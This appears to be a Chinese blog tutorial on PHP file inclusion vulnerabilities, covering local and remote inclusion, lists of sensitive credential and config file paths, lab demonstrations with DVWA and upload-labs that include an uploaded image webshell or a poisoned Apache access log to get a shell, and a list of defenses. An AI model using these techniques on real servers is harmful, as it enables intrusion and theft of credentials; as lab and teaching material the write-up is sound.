当前位置: 首页 > news >正文

文件包含学习总结

目录

漏洞简介

漏洞原理

漏洞分类

漏洞防御


漏洞简介

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

漏洞原理

  • 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

  • 本地文件包含

    • 只能包含本地服务器上存在的文件。

      • 用户对输入可控且无过滤

      • 可以利用相对路径或绝对路径读取系统敏感文件

  • 远程文件包含

    • 包含远程服务器上的文件。

      需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者自己搭建的一个Web服务器)的文件。

      • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据

      • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

    • 区别:

      • 本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行

      • 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

      • 本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

    • 文件包含函数:

      require() include()
      require_once() include_once()
      include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
      而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
    • 可能出现文件包含的点:url中出现:?page=xxx file=xxx ?home=xxx,并且后面的参数值是一个路径或者文件,可以配合文件上传进行验证

    • 常见的敏感信息路径:

      • windows:
        c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码
        c:\windows\php.ini // php 配置信息
      • linux:
        /etc/passwd // 账户信息
        ​
        /etc/shadow // 账户密码文件
        ​
        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
        ​
        /usr/local/app/php5/lib/php.ini // PHP相关配置
        ​
        /etc/httpd/conf/httpd.conf // Apache配置文件
        ​
        /etc/my.conf // mysql 配置文件
    • 远程文件包含演示:这里使用的是dvwa和upload-labs结合,让upload-labs文件包含漏洞模块成功包含dvwa文件上传的图片马.(此处注意包含的远程文件不能为php文件,否则不是在upload-labs机器上执行,而是在原文件所在服务器上执行--源文件服务器可以解析PHP文件的情况下.)

      • 首先在dvwa中上传图片马:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png发现成功包含:

        使用蚁剑连接成功:

    • 通过文件包含getshell:

      • 中间件日志包含:

        • 和之前文件包含类似,这里我们需要知道日志的地址,同时让php代码加载到日志中,并且让文件包含文件能够包含得到日志文件,这样就可以getshell

        • 这里的实例仍然使用dvwa:首先赋予权限,确保web服务器可以访问的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa访问一段php代码,这里使用phpinfo做演示,注意,url中直接发送会使得特殊符号编码,于是抓包修改,这里我们可以在日志文件中发现我们写入的php代码:

        • 在通过文件包含就可以执行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后续只需将phpinfo改为一句话木马即可getshell

      • 配合文件上传getshell:在upload-labs中已经进行演示,主要是利用文件上传图片马,然后通过文件包含使得文件被当做php文件解析,最后蚁剑连接

漏洞防御

    1. 设置白名单(文件名可以确定)

    2. 过滤危险字符(判断文件名称是否为合法的php文件)

    3. 设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)

    4. 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)

    5. 严格检查include类的文件包含函数中的参数是否外界可控

http://www.lryc.cn/news/599945.html

相关文章:

  • reflections:Java非常好用的反射工具包
  • 【linux】Haproxy七层代理
  • 如何理解泊松分布
  • 在 IntelliJ IDEA 中打开这个用于设置 Git 用户名(Name)和邮箱(Email)的特定弹窗
  • JAVA知识点(三):Spring与ORM框架
  • 【RDMA】Adapters PRM Mellanox Adapters Programmer’s Reference mellanox网卡编程手册0.52
  • Linux库——库的制作和原理(1)_回顾动静态库、制作使用库
  • 上位机程序开发基础介绍
  • OpenCV结合深度学习进行图像分类
  • 练习实践-基础设施-文件共享-windows和linux之间的文件共享-smb服务搭建
  • 解决angular与jetty websocket 每30s自动断连的问题
  • 从kHz到GHz:晶振频率范围如何决定其应用场景
  • streamyfin(世博会)android 编译
  • 告别虚函数性能焦虑:深入剖析C++多态的现代设计模式
  • 萤石云替代产品摄像头方案萤石云不支持TCP本地连接-东方仙盟
  • 蓝光中的愧疚
  • Nacos-服务注册,服务发现(一)
  • 中级统计师-经济学基础知识-第七章 失业与通货膨胀理论
  • 怎么放大单片机输出电流
  • linux C — udp,tcp通信
  • 【硬件】LT3763中文手册
  • 51 单片机单文件多文件结构工程模板的创建教程
  • Nginx 安全加固:如何阻止 IP 直接访问,只允许域名访问
  • Linux网络配置全攻略:IP、路由与双机通信
  • freqtrade关于获取k线数量,以及显示时间的问题
  • JAVA知识点(六):性能调优与线上问题排查
  • Day 3: 机器学习进阶算法与集成学习
  • 【13】C# 窗体应用WinForm——.NET Framework、WinForm、工程创建、工具箱简介、窗体属性及创建
  • [ComfyUI] -入门2- 小白零基础搭建ComfyUI图像生成环境教程
  • 语义分割-FCN-听课记录